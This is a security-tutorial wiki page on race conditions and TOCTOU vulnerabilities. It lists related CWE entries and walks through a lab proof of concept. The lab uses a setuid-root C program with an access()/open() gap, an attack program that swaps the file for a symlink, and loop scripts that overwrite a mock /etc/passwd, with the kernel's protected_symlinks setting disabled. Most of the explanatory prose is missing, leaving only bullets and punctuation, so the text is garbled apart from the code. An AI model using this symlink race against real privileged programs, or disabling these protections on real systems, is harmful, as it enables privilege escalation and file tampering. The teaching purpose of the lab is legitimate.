09.Race condition

Unknown macro: 'html'

Excuse the ads! We need some help to keep our site up. Unknown macro: 'html'

List

- Race condition
  - CWE - Race Condition
- Time of check to time of use(TOCTTOU)
- Proof of concept
  - Exploit
- File system hardening
- Related site

Race condition

- Race condition .
  - .
- Race condition , .
  - .( )
- Race condition DoS, , , .
- Race condition .
  - Race condition .
- Race condition C, C++ Java, C#, , .

CWE - Race Condition

- **CWE Race condition .**
  - CWE-367 .

CWE - Race Condition

- CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
- CWE-363: Race Condition Enabling Link Following
- CWE-364: Signal Handler Race Condition
- CWE-365: Race Condition in Switch
- CWE-366: Race Condition within a Thread
- CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition

Time of check to time of use(TOCTTOU)

- **TOCTTOU Race condition .**
- **TOCTTOU .**
  -
- TOCTOU , TOCTOU .

Proof of concept

- **.**
  - "/etc/passwd" "/etc/passwd" .
  - "/etc/passwd" .

Basic setting

```
lazenca0x0@ubuntu:~/Exploit/RaceCondition$ mkdir etc
lazenca0x0@ubuntu:~/Exploit/RaceCondition$ cd etc
lazenca0x0@ubuntu:~/Exploit/RaceCondition/etc$ echo Only Root! > passwd
lazenca0x0@ubuntu:~/Exploit/RaceCondition/etc$ cat passwd
Only Root!
lazenca0x0@ubuntu:~/Exploit/RaceCondition/etc$ sudo chown root:root passwd
lazenca0x0@ubuntu:~/Exploit/RaceCondition/etc$ sudo chmod 644 passwd
lazenca0x0@ubuntu:~/Exploit/RaceCondition/etc$ ls -al passwd
-rw-r--r-- 1 root root 13 Jun 26 00:46 passwd
lazenca0x0@ubuntu:~/Exploit/RaceCondition/etc$ cd ..
lazenca0x0@ubuntu:~/Exploit/RaceCondition$ echo > file
```

- .
  - access() .
  - open(), write() .
- .
  - access() open() .
  - access() open() .
  - access() open() .

vuln.c

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

void main()
{
    int fd;
    char *file = "./file";
    char buffer[]="Success!! Race Condition : lazenca.0x0\n";

    if (!access(file, W_OK)) {
                printf("Able to open file %s.\n",file);
                fd = open(file, O_WRONLY);
                write(fd, buffer, sizeof(buffer));
                close(fd);
    }else{
                //printf("Unable to open file %s.\n",file);
    }
}
```

- .
  - unlink() file .
  - symlink() file "./etc/passwd" .

attack.c

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void main()
{
    unlink("file");
    symlink("./etc/passwd","file");
}
```

- **vuln** .

run.sh

```
#!/bin/bash
while :
do
    ./vuln
done
```

- **vuln .**

race.sh

```
#!/bin/bash
CHECK_FILE="ls -l ./etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ]
do
    ./attack
    new=$($CHECK_FILE)
done
echo "Success! The passwd file has been changed"
```

- **.**

Run race.sh

```
lazenca0x0@ubuntu:~/Exploit/RaceCondition$ gcc -o vuln vuln.c
lazenca0x0@ubuntu:~/Exploit/RaceCondition$ sudo chown root:root vuln
lazenca0x0@ubuntu:~/Exploit/RaceCondition$ sudo chmod 4755 ./vuln
lazenca0x0@ubuntu:~/Exploit/RaceCondition$ gcc -o attack attack.c
```

Exploit

- **.**

Terminal 1

```
lazenca0x0@ubuntu:~/Exploit/RaceCondition$ sudo sysctl -w fs.protected_symlinks=0
lazenca0x0@ubuntu:~/Exploit/RaceCondition$ ./run.sh
Able to open file ./file.
Able to open file ./file.
Able to open file ./file.

...
```

- **"./etc/passwd" .**

Terminal 2

```
lazenca0x0@ubuntu:~/Exploit/RaceCondition$ ./race.sh
Success! The passwd file has been changed
lazenca0x0@ubuntu:~/Exploit/RaceCondition$ cat ./etc/passwd
Success!! Race Condition : lazenca.0x0
lazenca0x0@ubuntu:~/Exploit/RaceCondition$
```

File system hardening

- **(tmp-races, TOCTOU) .**
  - Ubuntu 10.10 .

Turn off protected_symlinks

```
Ubuntu 12.04
$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=0
Ubuntu 16.04
$ sudo sysctl -w fs.protected_symlinks=0
```

Turn on protected_symlinks

```
Ubuntu 12.04
$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=1
Ubuntu 16.04
$ sudo sysctl -w fs.protected_symlinks=1
```

Related site

- https://en.wikipedia.org/wiki/Race_condition#Software
- https://en.wikipedia.org/wiki/Time_of_check_to_time_of_use
- http://www.cis.syr.edu/~wedu/seed/Labs_16.04/Software/Race_Condition/Race_Condition.pdf
- https://www.suse.com/documentation/sles-12/book_hardening/data/sec_sec_prot_general_kernel.html

Unknown macro: 'html'